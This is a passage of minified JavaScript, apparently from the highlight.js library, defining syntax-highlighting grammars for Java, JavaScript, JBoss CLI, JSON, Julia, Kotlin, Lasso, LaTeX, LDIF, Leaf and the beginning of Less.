dwA="[0-9](_*[0-9])*",PaA=`\\.(${dwA})`,VaA="[0-9a-fA-F](_*[0-9a-fA-F])*",tPq={className:"number",variants:[{begin:`(\\b(${dwA})((${PaA})|\\.)?|(${PaA}))[eE][+-]?(${dwA})[fFdD]?\\b`},{begin:`\\b(${dwA})((${PaA})[fFdD]?\\b|\\.([fFdD]\\b)?)`},{begin:`(${PaA})[fFdD]?\\b`},{begin:`\\b(${dwA})[fFdD]\\b`},{begin:`\\b0[xX]((${VaA})\\.?|(${VaA})?\\.(${VaA}))[pP][+-]?(${dwA})[fFdD]?\\b`},{begin:"\\b(0|[1-9](_*[0-9])*)[lL]?\\b"},{begin:`\\b0[xX](${VaA})[lL]?\\b`},{begin:"\\b0(_*[0-7])*[lL]?\\b"},{begin:"\\b0[bB][01](_*[01])*[lL]?\\b"}],relevance:0};function ePq(A){var K="[À-ʸa-zA-Z_$][À-ʸa-zA-Z_$0-9]*",q=K+"(<"+K+"(\\s*,\\s*"+K+")*>)?",Y="false synchronized int abstract float private char boolean var static null if const for true while long strictfp finally protected import native final void enum else break transient catch instanceof byte super volatile case assert short package default double public try this switch continue throws protected public private module requires exports do",z={className:"meta",begin:"@"+K,contains:[{begin:/\(/,end:/\)/,contains:["self"]}]};let w=tPq;return{name:"Java",aliases:["jsp"],keywords:Y,illegal:/<\/|#/,contains:[A.COMMENT("/\\*\\*","\\*/",{relevance:0,contains:[{begin:/\w+@/,relevance:0},{className:"doctag",begin:"@[A-Za-z]+"}]}),{begin:/import java\.[a-z]+\./,keywords:"import",relevance:2},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,{className:"class",beginKeywords:"class interface enum",end:/[{;=]/,excludeEnd:!0,relevance:1,keywords:"class interface enum",illegal:/[:"\[\]]/,contains:[{beginKeywords:"extends implements"},A.UNDERSCORE_TITLE_MODE]},{beginKeywords:"new throw return else",relevance:0},{className:"class",begin:"record\\s+"+A.UNDERSCORE_IDENT_RE+"\\s*\\(",returnBegin:!0,excludeEnd:!0,end:/[{;=]/,keywords:Y,contains:[{beginKeywords:"record"},{begin:A.UNDERSCORE_IDENT_RE+"\\s*\\(",returnBegin:!0,relevance:0,contains:[A.UNDERSCORE_TITLE_MODE]},{className:"params",begin:/\(/,end:/\)/,keywords:Y,relevance:0,contains:[A.C_BLOCK_COMMENT_MODE]},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]},{className:"function",begin:"("+q+"\\s+)+"+A.UNDERSCORE_IDENT_RE+"\\s*\\(",returnBegin:!0,end:/[{;=]/,excludeEnd:!0,keywords:Y,contains:[{begin:A.UNDERSCORE_IDENT_RE+"\\s*\\(",returnBegin:!0,relevance:0,contains:[A.UNDERSCORE_TITLE_MODE]},{className:"params",begin:/\(/,end:/\)/,keywords:Y,relevance:0,contains:[z,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,w,A.C_BLOCK_COMMENT_MODE]},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]},w,z]}}$O8.exports=ePq});var WO8=v((PCz,ZO8)=>{var AVq=["as","in","of","if","for","while","finally","var","new","function","do","return","void","else","break","catch","instanceof","with","throw","case","default","try","switch","continue","typeof","delete","let","yield","const","class","debugger","async","await","static","import","from","export","extends"],KVq=["true","false","null","undefined","NaN","Infinity"],qVq=["Intl","DataView","Number","Math","Date","String","RegExp","Object","Function","Boolean","Error","Symbol","Set","Map","WeakSet","WeakMap","Proxy","Reflect","JSON","Promise","Float64Array","Int16Array","Int32Array","Int8Array","Uint16Array","Uint32Array","Float32Array","Array","Uint8Array","Uint8ClampedArray","ArrayBuffer","BigInt64Array","BigUint64Array","BigInt"],YVq=["EvalError","InternalError","RangeError","ReferenceError","SyntaxError","TypeError","URIError"],zVq=["setInterval","setTimeout","clearInterval","clearTimeout","require","exports","eval","isFinite","isNaN","parseFloat","parseInt","decodeURI","decodeURIComponent","encodeURI","encodeURIComponent","escape","unescape"],wVq=["arguments","this","super","console","window","document","localStorage","module","global"],HVq=[].concat(zVq,wVq,qVq,YVq);function JVq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function GO8(A){return Wx1("(?=",A,")")}function Wx1(...A){return A.map((q)=>JVq(q)).join("")}function OVq(A){let K=(N,{after:T})=>{let C="</"+N[0].slice(1);return N.input.indexOf(C,T)!==-1},q="[A-Za-z$_][0-9A-Za-z$_]*",Y={begin:"<>",end:"</>"},z={begin:/<[A-Za-z0-9\\._:-]+/,end:/\/[A-Za-z0-9\\._:-]+>|\/>/,isTrulyOpeningTag:(N,T)=>{let C=N[0].length+N.index,R=N.input[C];if(R==="<"){T.ignoreMatch();return}if(R===">"){if(!K(N,{after:C}))T.ignoreMatch()}}},w={$pattern:"[A-Za-z$_][0-9A-Za-z$_]*",keyword:AVq,literal:KVq,built_in:HVq},H="[0-9](_?[0-9])*",J="\\.([0-9](_?[0-9])*)",O="0|[1-9](_?[0-9])*|0[0-7]*[89][0-9]*",X={className:"number",variants:[{begin:"(\\b(0|[1-9](_?[0-9])*|0[0-7]*[89][0-9]*)((\\.([0-9](_?[0-9])*))|\\.)?|(\\.([0-9](_?[0-9])*)))[eE][+-]?([0-9](_?[0-9])*)\\b"},{begin:"\\b(0|[1-9](_?[0-9])*|0[0-7]*[89][0-9]*)\\b((\\.([0-9](_?[0-9])*))\\b|\\.)?|(\\.([0-9](_?[0-9])*))\\b"},{begin:"\\b(0|[1-9](_?[0-9])*)n\\b"},{begin:"\\b0[xX][0-9a-fA-F](_?[0-9a-fA-F])*n?\\b"},{begin:"\\b0[bB][0-1](_?[0-1])*n?\\b"},{begin:"\\b0[oO][0-7](_?[0-7])*n?\\b"},{begin:"\\b0[0-7]+n?\\b"}],relevance:0},$={className:"subst",begin:"\\$\\{",end:"\\}",keywords:w,contains:[]},_={begin:"html`",end:"",starts:{end:"`",returnEnd:!1,contains:[A.BACKSLASH_ESCAPE,$],subLanguage:"xml"}},G={begin:"css`",end:"",starts:{end:"`",returnEnd:!1,contains:[A.BACKSLASH_ESCAPE,$],subLanguage:"css"}},Z={className:"string",begin:"`",end:"`",contains:[A.BACKSLASH_ESCAPE,$]},D={className:"comment",variants:[A.COMMENT(/\/\*\*(?!\/)/,"\\*/",{relevance:0,contains:[{className:"doctag",begin:"@[A-Za-z]+",contains:[{className:"type",begin:"\\{",end:"\\}",relevance:0},{className:"variable",begin:"[A-Za-z$_][0-9A-Za-z$_]*(?=\\s*(-)|$)",endsParent:!0,relevance:0},{begin:/(?=[^\n])\s/,relevance:0}]}]}),A.C_BLOCK_COMMENT_MODE,A.C_LINE_COMMENT_MODE]},j=[A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,_,G,Z,X,A.REGEXP_MODE];$.contains=j.concat({begin:/\{/,end:/\}/,keywords:w,contains:["self"].concat(j)});let M=[].concat(D,$.contains),P=M.concat([{begin:/\(/,end:/\)/,keywords:w,contains:["self"].concat(M)}]),f={className:"params",begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,keywords:w,contains:P};return{name:"Javascript",aliases:["js","jsx","mjs","cjs"],keywords:w,exports:{PARAMS_CONTAINS:P},illegal:/#(?![$_A-z])/,contains:[A.SHEBANG({label:"shebang",binary:"node",relevance:5}),{label:"use_strict",className:"meta",relevance:10,begin:/^\s*['"]use (strict|asm)['"]/},A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,_,G,Z,D,X,{begin:Wx1(/[{,\n]\s*/,GO8(Wx1(/(((\/\/.*$)|(\/\*(\*[^/]|[^*])*\*\/))\s*)*/,"[A-Za-z$_][0-9A-Za-z$_]*\\s*:"))),relevance:0,contains:[{className:"attr",begin:"[A-Za-z$_][0-9A-Za-z$_]*"+GO8("\\s*:"),relevance:0}]},{begin:"("+A.RE_STARTERS_RE+"|\\b(case|return|throw)\\b)\\s*",keywords:"return throw case",contains:[D,A.REGEXP_MODE,{className:"function",begin:"(\\([^()]*(\\([^()]*(\\([^()]*\\)[^()]*)*\\)[^()]*)*\\)|"+A.UNDERSCORE_IDENT_RE+")\\s*=>",returnBegin:!0,end:"\\s*=>",contains:[{className:"params",variants:[{begin:A.UNDERSCORE_IDENT_RE,relevance:0},{className:null,begin:/\(\s*\)/,skip:!0},{begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,keywords:w,contains:P}]}]},{begin:/,/,relevance:0},{className:"",begin:/\s/,end:/\s*/,skip:!0},{variants:[{begin:Y.begin,end:Y.end},{begin:z.begin,"on:begin":z.isTrulyOpeningTag,end:z.end}],subLanguage:"xml",contains:[{begin:z.begin,end:z.end,skip:!0,contains:["self"]}]}],relevance:0},{className:"function",beginKeywords:"function",end:/[{;]/,excludeEnd:!0,keywords:w,contains:["self",A.inherit(A.TITLE_MODE,{begin:"[A-Za-z$_][0-9A-Za-z$_]*"}),f],illegal:/%/},{beginKeywords:"while if switch catch for"},{className:"function",begin:A.UNDERSCORE_IDENT_RE+"\\([^()]*(\\([^()]*(\\([^()]*\\)[^()]*)*\\)[^()]*)*\\)\\s*\\{",returnBegin:!0,contains:[f,A.inherit(A.TITLE_MODE,{begin:"[A-Za-z$_][0-9A-Za-z$_]*"})]},{variants:[{begin:"\\.[A-Za-z$_][0-9A-Za-z$_]*"},{begin:"\\$[A-Za-z$_][0-9A-Za-z$_]*"}],relevance:0},{className:"class",beginKeywords:"class",end:/[{;=]/,excludeEnd:!0,illegal:/[:"[\]]/,contains:[{beginKeywords:"extends"},A.UNDERSCORE_TITLE_MODE]},{begin:/\b(?=constructor)/,end:/[{;]/,excludeEnd:!0,contains:[A.inherit(A.TITLE_MODE,{begin:"[A-Za-z$_][0-9A-Za-z$_]*"}),"self",f]},{begin:"(get|set)\\s+(?=[A-Za-z$_][0-9A-Za-z$_]*\\()",end:/\{/,keywords:"get set",contains:[A.inherit(A.TITLE_MODE,{begin:"[A-Za-z$_][0-9A-Za-z$_]*"}),{begin:/\(\)/},f]},{begin:/\$[(.]/}]}}ZO8.exports=OVq});var jO8=v((VCz,DO8)=>{function XVq(A){let q={className:"params",begin:/\(/,end:/\)/,contains:[{begin:/[\w-]+ *=/,returnBegin:!0,relevance:0,contains:[{className:"attr",begin:/[\w-]+/}]}],relevance:0},Y={className:"function",begin:/:[\w\-.]+/,relevance:0},z={className:"string",begin:/\B([\/.])[\w\-.\/=]+/},w={className:"params",begin:/--[\w\-=\/]+/};return{name:"JBoss CLI",aliases:["wildfly-cli"],keywords:{$pattern:"[a-z-]+",keyword:"alias batch cd clear command connect connection-factory connection-info data-source deploy deployment-info deployment-overlay echo echo-dmr help history if jdbc-driver-info jms-queue|20 jms-topic|20 ls patch pwd quit read-attribute read-operation reload rollout-plan run-batch set shutdown try unalias undeploy unset version xa-data-source",literal:"true false"},contains:[A.HASH_COMMENT_MODE,A.QUOTE_STRING_MODE,w,Y,z,q]}}DO8.exports=XVq});var PO8=v((fCz,MO8)=>{function $Vq(A){let K={literal:"true false null"},q=[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE],Y=[A.QUOTE_STRING_MODE,A.C_NUMBER_MODE],z={end:",",endsWithParent:!0,excludeEnd:!0,contains:Y,keywords:K},w={begin:/\{/,end:/\}/,contains:[{className:"attr",begin:/"/,end:/"/,contains:[A.BACKSLASH_ESCAPE],illegal:"\\n"},A.inherit(z,{begin:/:/})].concat(q),illegal:"\\S"},H={begin:"\\[",end:"\\]",contains:[A.inherit(z)],illegal:"\\S"};return Y.push(w,H),q.forEach(function(J){Y.push(J)}),{name:"JSON",contains:Y,keywords:K,illegal:"\\S"}}MO8.exports=$Vq});var fO8=v((NCz,VO8)=>{function _Vq(A){var K="[A-Za-z_\\u00A1-\\uFFFF][A-Za-z_0-9\\u00A1-\\uFFFF]*",q=["baremodule","begin","break","catch","ccall","const","continue","do","else","elseif","end","export","false","finally","for","function","global","if","import","in","isa","let","local","macro","module","quote","return","true","try","using","where","while"],Y=["ARGS","C_NULL","DEPOT_PATH","ENDIAN_BOM","ENV","Inf","Inf16","Inf32","Inf64","InsertionSort","LOAD_PATH","MergeSort","NaN","NaN16","NaN32","NaN64","PROGRAM_FILE","QuickSort","RoundDown","RoundFromZero","RoundNearest","RoundNearestTiesAway","RoundNearestTiesUp","RoundToZero","RoundUp","VERSION|0","devnull","false","im","missing","nothing","pi","stderr","stdin","stdout","true","undef","π","ℯ"],z=["AbstractArray","AbstractChannel","AbstractChar","AbstractDict","AbstractDisplay","AbstractFloat","AbstractIrrational","AbstractMatrix","AbstractRange","AbstractSet","AbstractString","AbstractUnitRange","AbstractVecOrMat","AbstractVector","Any","ArgumentError","Array","AssertionError","BigFloat","BigInt","BitArray","BitMatrix","BitSet","BitVector","Bool","BoundsError","CapturedException","CartesianIndex","CartesianIndices","Cchar","Cdouble","Cfloat","Channel","Char","Cint","Cintmax_t","Clong","Clonglong","Cmd","Colon","Complex","ComplexF16","ComplexF32","ComplexF64","CompositeException","Condition","Cptrdiff_t","Cshort","Csize_t","Cssize_t","Cstring","Cuchar","Cuint","Cuintmax_t","Culong","Culonglong","Cushort","Cvoid","Cwchar_t","Cwstring","DataType","DenseArray","DenseMatrix","DenseVecOrMat","DenseVector","Dict","DimensionMismatch","Dims","DivideError","DomainError","EOFError","Enum","ErrorException","Exception","ExponentialBackOff","Expr","Float16","Float32","Float64","Function","GlobalRef","HTML","IO","IOBuffer","IOContext","IOStream","IdDict","IndexCartesian","IndexLinear","IndexStyle","InexactError","InitError","Int","Int128","Int16","Int32","Int64","Int8","Integer","InterruptException","InvalidStateException","Irrational","KeyError","LinRange","LineNumberNode","LinearIndices","LoadError","MIME","Matrix","Method","MethodError","Missing","MissingException","Module","NTuple","NamedTuple","Nothing","Number","OrdinalRange","OutOfMemoryError","OverflowError","Pair","PartialQuickSort","PermutedDimsArray","Pipe","ProcessFailedException","Ptr","QuoteNode","Rational","RawFD","ReadOnlyMemoryError","Real","ReentrantLock","Ref","Regex","RegexMatch","RoundingMode","SegmentationFault","Set","Signed","Some","StackOverflowError","StepRange","StepRangeLen","StridedArray","StridedMatrix","StridedVecOrMat","StridedVector","String","StringIndexError","SubArray","SubString","SubstitutionString","Symbol","SystemError","Task","TaskFailedException","Text","TextDisplay","Timer","Tuple","Type","TypeError","TypeVar","UInt","UInt128","UInt16","UInt32","UInt64","UInt8","UndefInitializer","UndefKeywordError","UndefRefError","UndefVarError","Union","UnionAll","UnitRange","Unsigned","Val","Vararg","VecElement","VecOrMat","Vector","VersionNumber","WeakKeyDict","WeakRef"],w={$pattern:K,keyword:q,literal:Y,built_in:z},H={keywords:w,illegal:/<\//},J={className:"number",begin:/(\b0x[\d_]*(\.[\d_]*)?|0x\.\d[\d_]*)p[-+]?\d+|\b0[box][a-fA-F0-9][a-fA-F0-9_]*|(\b\d[\d_]*(\.[\d_]*)?|\.\d[\d_]*)([eEfF][-+]?\d+)?/,relevance:0},O={className:"string",begin:/'(.|\\[xXuU][a-zA-Z0-9]+)'/},X={className:"subst",begin:/\$\(/,end:/\)/,keywords:w},$={className:"variable",begin:"\\$"+K},_={className:"string",contains:[A.BACKSLASH_ESCAPE,X,$],variants:[{begin:/\w*"""/,end:/"""\w*/,relevance:10},{begin:/\w*"/,end:/"\w*/}]},G={className:"string",contains:[A.BACKSLASH_ESCAPE,X,$],begin:"`",end:"`"},Z={className:"meta",begin:"@"+K},W={className:"comment",variants:[{begin:"#=",end:"=#",relevance:10},{begin:"#",end:"$"}]};return H.name="Julia",H.contains=[J,O,_,G,Z,W,A.HASH_COMMENT_MODE,{className:"keyword",begin:"\\b(((abstract|primitive)\\s+)type|(mutable\\s+)?struct)\\b"},{begin:/<:/}],X.contains=H.contains,H}VO8.exports=_Vq});var TO8=v((TCz,NO8)=>{function GVq(A){return{name:"Julia REPL",contains:[{className:"meta",begin:/^julia>/,relevance:10,starts:{end:/^(?![ ]{6})/,subLanguage:"julia"},aliases:["jldoctest"]}]}}NO8.exports=GVq});var EO8=v((vCz,vO8)=>{var cwA="[0-9](_*[0-9])*",faA=`\\.(${cwA})`,NaA="[0-9a-fA-F](_*[0-9a-fA-F])*",ZVq={className:"number",variants:[{begin:`(\\b(${cwA})((${faA})|\\.)?|(${faA}))[eE][+-]?(${cwA})[fFdD]?\\b`},{begin:`\\b(${cwA})((${faA})[fFdD]?\\b|\\.([fFdD]\\b)?)`},{begin:`(${faA})[fFdD]?\\b`},{begin:`\\b(${cwA})[fFdD]\\b`},{begin:`\\b0[xX]((${NaA})\\.?|(${NaA})?\\.(${NaA}))[pP][+-]?(${cwA})[fFdD]?\\b`},{begin:"\\b(0|[1-9](_*[0-9])*)[lL]?\\b"},{begin:`\\b0[xX](${NaA})[lL]?\\b`},{begin:"\\b0(_*[0-7])*[lL]?\\b"},{begin:"\\b0[bB][01](_*[01])*[lL]?\\b"}],relevance:0};function WVq(A){let K={keyword:"abstract as val var vararg get set class object open private protected public noinline crossinline dynamic final enum if else do while for when throw try catch finally import package is in fun override companion reified inline lateinit init interface annotation data sealed internal infix operator out by constructor super tailrec where const inner suspend typealias external expect actual",built_in:"Byte Short Char Int Long Boolean Float Double Void Unit Nothing",literal:"true false null"},q={className:"keyword",begin:/\b(break|continue|return|this)\b/,starts:{contains:[{className:"symbol",begin:/@\w+/}]}},Y={className:"symbol",begin:A.UNDERSCORE_IDENT_RE+"@"},z={className:"subst",begin:/\$\{/,end:/\}/,contains:[A.C_NUMBER_MODE]},w={className:"variable",begin:"\\$"+A.UNDERSCORE_IDENT_RE},H={className:"string",variants:[{begin:'"""',end:'"""(?=[^"])',contains:[w,z]},{begin:"'",end:"'",illegal:/\n/,contains:[A.BACKSLASH_ESCAPE]},{begin:'"',end:'"',illegal:/\n/,contains:[A.BACKSLASH_ESCAPE,w,z]}]};z.contains.push(H);let J={className:"meta",begin:"@(?:file|property|field|get|set|receiver|param|setparam|delegate)\\s*:(?:\\s*"+A.UNDERSCORE_IDENT_RE+")?"},O={className:"meta",begin:"@"+A.UNDERSCORE_IDENT_RE,contains:[{begin:/\(/,end:/\)/,contains:[A.inherit(H,{className:"meta-string"})]}]},X=ZVq,$=A.COMMENT("/\\*","\\*/",{contains:[A.C_BLOCK_COMMENT_MODE]}),_={variants:[{className:"type",begin:A.UNDERSCORE_IDENT_RE},{begin:/\(/,end:/\)/,contains:[]}]},G=_;return G.variants[1].contains=[_],_.variants[1].contains=[G],{name:"Kotlin",aliases:["kt","kts"],keywords:K,contains:[A.COMMENT("/\\*\\*","\\*/",{relevance:0,contains:[{className:"doctag",begin:"@[A-Za-z]+"}]}),A.C_LINE_COMMENT_MODE,$,q,Y,J,O,{className:"function",beginKeywords:"fun",end:"[(]|$",returnBegin:!0,excludeEnd:!0,keywords:K,relevance:5,contains:[{begin:A.UNDERSCORE_IDENT_RE+"\\s*\\(",returnBegin:!0,relevance:0,contains:[A.UNDERSCORE_TITLE_MODE]},{className:"type",begin:/</,end:/>/,keywords:"reified",relevance:0},{className:"params",begin:/\(/,end:/\)/,endsParent:!0,keywords:K,relevance:0,contains:[{begin:/:/,end:/[=,\/]/,endsWithParent:!0,contains:[_,A.C_LINE_COMMENT_MODE,$],relevance:0},A.C_LINE_COMMENT_MODE,$,J,O,H,A.C_NUMBER_MODE]},$]},{className:"class",beginKeywords:"class interface trait",end:/[:\{(]|$/,excludeEnd:!0,illegal:"extends implements",contains:[{beginKeywords:"public protected internal private constructor"},A.UNDERSCORE_TITLE_MODE,{className:"type",begin:/</,end:/>/,excludeBegin:!0,excludeEnd:!0,relevance:0},{className:"type",begin:/[,:]\s*/,end:/[<\(,]|$/,excludeBegin:!0,returnEnd:!0},J,O]},H,{className:"meta",begin:"^#!/usr/bin/env",end:"$",illegal:` `},X]}}vO8.exports=WVq});var CO8=v((ECz,kO8)=>{function DVq(A){let z={$pattern:"[a-zA-Z_][\\w.]*|&[lg]t;",literal:"true false none minimal full all void and or not bw nbw ew new cn ncn lt lte gt gte eq neq rx nrx ft",built_in:"array date decimal duration integer map pair string tag xml null boolean bytes keyword list locale queue set stack staticarray local var variable global data self inherited currentcapture givenblock",keyword:"cache database_names database_schemanames database_tablenames define_tag define_type email_batch encode_set html_comment handle handle_error header if inline iterate ljax_target link link_currentaction link_currentgroup link_currentrecord link_detail link_firstgroup link_firstrecord link_lastgroup link_lastrecord link_nextgroup link_nextrecord link_prevgroup link_prevrecord log loop namespace_using output_none portal private protect records referer referrer repeating resultset rows search_args search_arguments select sort_args sort_arguments thread_atomic value_list while abort case else fail_if fail_ifnot fail if_empty if_false if_null if_true loop_abort loop_continue loop_count params params_up return return_value run_children soap_definetag soap_lastrequest soap_lastresponse tag_name ascending average by define descending do equals frozen group handle_failure import in into join let match max min on order parent protected provide public require returnhome skip split_thread sum take thread to trait type where with yield yieldhome"},w=A.COMMENT("<!--","-->",{relevance:0}),H={className:"meta",begin:"\\[noprocess\\]",starts:{end:"\\[/noprocess\\]",returnEnd:!0,contains:[w]}},J={className:"meta",begin:"\\[/noprocess|<\\?(lasso(script)?|=)"},O={className:"symbol",begin:"'[a-zA-Z_][\\w.]*'"},X=[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.inherit(A.C_NUMBER_MODE,{begin:A.C_NUMBER_RE+"|(-?infinity|NaN)\\b"}),A.inherit(A.APOS_STRING_MODE,{illegal:null}),A.inherit(A.QUOTE_STRING_MODE,{illegal:null}),{className:"string",begin:"`",end:"`"},{variants:[{begin:"[#$][a-zA-Z_][\\w.]*"},{begin:"#",end:"\\d+",illegal:"\\W"}]},{className:"type",begin:"::\\s*",end:"[a-zA-Z_][\\w.]*",illegal:"\\W"},{className:"params",variants:[{begin:"-(?!infinity)[a-zA-Z_][\\w.]*",relevance:0},{begin:"(\\.\\.\\.)"}]},{begin:/(->|\.)\s*/,relevance:0,contains:[O]},{className:"class",beginKeywords:"define",returnEnd:!0,end:"\\(|=>",contains:[A.inherit(A.TITLE_MODE,{begin:"[a-zA-Z_][\\w.]*(=(?!>))?|[-+*/%](?!>)"})]}];return{name:"Lasso",aliases:["ls","lassoscript"],case_insensitive:!0,keywords:z,contains:[{className:"meta",begin:"\\]|\\?>",relevance:0,starts:{end:"\\[|<\\?(lasso(script)?|=)",returnEnd:!0,relevance:0,contains:[w]}},H,J,{className:"meta",begin:"\\[no_square_brackets",starts:{end:"\\[/no_square_brackets\\]",keywords:z,contains:[{className:"meta",begin:"\\]|\\?>",relevance:0,starts:{end:"\\[noprocess\\]|<\\?(lasso(script)?|=)",returnEnd:!0,contains:[w]}},H,J].concat(X)}},{className:"meta",begin:"\\[",relevance:0},{className:"meta",begin:"^#!",end:"lasso9$",relevance:10}].concat(X)}}kO8.exports=DVq});var RO8=v((kCz,LO8)=>{function jVq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function MVq(...A){return"("+A.map((q)=>jVq(q)).join("|")+")"}function PVq(A){let K=MVq(...["(?:NeedsTeXFormat|RequirePackage|GetIdInfo)","Provides(?:Expl)?(?:Package|Class|File)","(?:DeclareOption|ProcessOptions)","(?:documentclass|usepackage|input|include)","makeat(?:letter|other)","ExplSyntax(?:On|Off)","(?:new|renew|provide)?command","(?:re)newenvironment","(?:New|Renew|Provide|Declare)(?:Expandable)?DocumentCommand","(?:New|Renew|Provide|Declare)DocumentEnvironment","(?:(?:e|g|x)?def|let)","(?:begin|end)","(?:part|chapter|(?:sub){0,2}section|(?:sub)?paragraph)","caption","(?:label|(?:eq|page|name)?ref|(?:paren|foot|super)?cite)","(?:alpha|beta|[Gg]amma|[Dd]elta|(?:var)?epsilon|zeta|eta|[Tt]heta|vartheta)","(?:iota|(?:var)?kappa|[Ll]ambda|mu|nu|[Xx]i|[Pp]i|varpi|(?:var)rho)","(?:[Ss]igma|varsigma|tau|[Uu]psilon|[Pp]hi|varphi|chi|[Pp]si|[Oo]mega)","(?:frac|sum|prod|lim|infty|times|sqrt|leq|geq|left|right|middle|[bB]igg?)","(?:[lr]angle|q?quad|[lcvdi]?dots|d?dot|hat|tilde|bar)"].map((y)=>y+"(?![a-zA-Z@:_])")),q=new RegExp(["(?:__)?[a-zA-Z]{2,}_[a-zA-Z](?:_?[a-zA-Z])+:[a-zA-Z]*","[lgc]__?[a-zA-Z](?:_?[a-zA-Z])*_[a-zA-Z]{2,}","[qs]__?[a-zA-Z](?:_?[a-zA-Z])+","use(?:_i)?:[a-zA-Z]*","(?:else|fi|or):","(?:if|cs|exp):w","(?:hbox|vbox):n","::[a-zA-Z]_unbraced","::[a-zA-Z:]"].map((y)=>y+"(?![a-zA-Z:_])").join("|")),Y=[{begin:/[a-zA-Z@]+/},{begin:/[^a-zA-Z@]?/}],z=[{begin:/\^{6}[0-9a-f]{6}/},{begin:/\^{5}[0-9a-f]{5}/},{begin:/\^{4}[0-9a-f]{4}/},{begin:/\^{3}[0-9a-f]{3}/},{begin:/\^{2}[0-9a-f]{2}/},{begin:/\^{2}[\u0000-\u007f]/}],w={className:"keyword",begin:/\\/,relevance:0,contains:[{endsParent:!0,begin:K},{endsParent:!0,begin:q},{endsParent:!0,variants:z},{endsParent:!0,relevance:0,variants:Y}]},H={className:"params",relevance:0,begin:/#+\d?/},J={variants:z},O={className:"built_in",relevance:0,begin:/[$&^_]/},X={className:"meta",begin:"% !TeX",end:"$",relevance:10},$=A.COMMENT("%","$",{relevance:0}),_=[w,H,J,O,X,$],G={begin:/\{/,end:/\}/,relevance:0,contains:["self",..._]},Z=A.inherit(G,{relevance:0,endsParent:!0,contains:[G,..._]}),W={begin:/\[/,end:/\]/,endsParent:!0,relevance:0,contains:[G,..._]},D={begin:/\s+/,relevance:0},j=[Z],M=[W],P=function(y,B){return{contains:[D],starts:{relevance:0,contains:y,starts:B}}},f=function(y,B){return{begin:"\\\\"+y+"(?![a-zA-Z@:_])",keywords:{$pattern:/\\[a-zA-Z]+/,keyword:"\\"+y},relevance:0,contains:[D],starts:B}},N=function(y,B){return A.inherit({begin:"\\\\begin(?=[ \t]*(\\r?\\n[ \t]*)?\\{"+y+"\\})",keywords:{$pattern:/\\[a-zA-Z]+/,keyword:"\\begin"},relevance:0},P(j,B))},T=(y="string")=>{return A.END_SAME_AS_BEGIN({className:y,begin:/(.|\r?\n)/,end:/(.|\r?\n)/,excludeBegin:!0,excludeEnd:!0,endsParent:!0})},C=function(y){return{className:"string",end:"(?=\\\\end\\{"+y+"\\})"}},R=(y="string")=>{return{relevance:0,begin:/\{/,starts:{endsParent:!0,contains:[{className:y,end:/(?=\})/,endsParent:!0,contains:[{begin:/\{/,end:/\}/,relevance:0,contains:["self"]}]}]}}},x=[...["verb","lstinline"].map((y)=>f(y,{contains:[T()]})),f("mint",P(j,{contains:[T()]})),f("mintinline",P(j,{contains:[R(),T()]})),f("url",{contains:[R("link"),R("link")]}),f("hyperref",{contains:[R("link")]}),f("href",P(M,{contains:[R("link")]})),...[].concat(...["","\\*"].map((y)=>[N("verbatim"+y,C("verbatim"+y)),N("filecontents"+y,P(j,C("filecontents"+y))),...["","B","L"].map((B)=>N(B+"Verbatim"+y,P(M,C(B+"Verbatim"+y))))])),N("minted",P(M,P(j,C("minted"))))];return{name:"LaTeX",aliases:["tex"],contains:[...x,..._]}}LO8.exports=PVq});var IO8=v((CCz,yO8)=>{function VVq(A){return{name:"LDIF",contains:[{className:"attribute",begin:"^dn",end:": ",excludeEnd:!0,starts:{end:"$",relevance:0},relevance:10},{className:"attribute",begin:"^\\w",end:": ",excludeEnd:!0,starts:{end:"$",relevance:0}},{className:"literal",begin:"^-",end:"$"},A.HASH_COMMENT_MODE]}}yO8.exports=VVq});var hO8=v((LCz,SO8)=>{function fVq(A){return{name:"Leaf",contains:[{className:"function",begin:"#+[A-Za-z_0-9]*\\(",end:/ \{/,returnBegin:!0,excludeEnd:!0,contains:[{className:"keyword",begin:"#+"},{className:"title",begin:"[A-Za-z_][A-Za-z_0-9]*"},{className:"params",begin:"\\(",end:"\\)",endsParent:!0,contains:[{className:"string",begin:'"',end:'"'},{className:"variable",begin:"[A-Za-z_][A-Za-z_0-9]*"}]}]}]}}SO8.exports=fVq});var BO8=v((RCz,uO8)=>{var NVq=(A)=>{return{IMPORTANT:{className:"meta",begin:"!important"},HEXCOLOR:{className:"number",begin:"#([a-fA-F0-9]{6}|[a-fA-F0-9]{3})"},ATTRIBUTE_SELECTOR_MODE:{className:"selector-attr",begin:/\[/,end:/\]/,illegal:"$",contains:[A.APOS_STRING_MODE,A.QUOTE_STRING_MODE]}}},TVq=["a","abbr","address","article","aside","audio","b","blockquote","body","button","canvas","caption","cite","code","dd","del","details","dfn","div","dl","dt","em","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","header","hgroup","html","i","iframe","img","input","ins","kbd","label","legend","li","main","mark","menu","nav","object","ol","p","q","quote","samp","section","span","strong","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","tr","ul","var","video"],vVq=["any-hover","any-pointer","aspect-ratio","color","color-gamut","color-index","device-aspect-ratio","device-height","device-width","display-mode","forced-colors","grid","height","hover","inverted-colors","monochrome","orientation","overflow-block","overflow-inline","pointer","prefers-color-scheme","prefers-contrast","prefers-reduced-motion","prefers-reduced-transparency","resolution","scan","scripting","update","width","min-width","max-width","min-height","max-height"],bO8=["active","any-link","blank","checked","current","default","defined","dir","disabled","drop","empty","enabled","first","first-child","first-of-type","fullscreen","future","focus","focus-visible","focus-within","has","host","host-context","hover","indeterminate","in-range","invalid","is","lang","last-child","last-of-type","left","link","local-link","not","nth-child","nth-col","nth-last-child","nth-last-col","nth-last-of-type","nth-of-type","only-child","only-of-type","optional","out-of-range","past","placeholder-shown","read-only","read-write","required","right","root","scope","target","target-within","user-invalid","valid","visited","where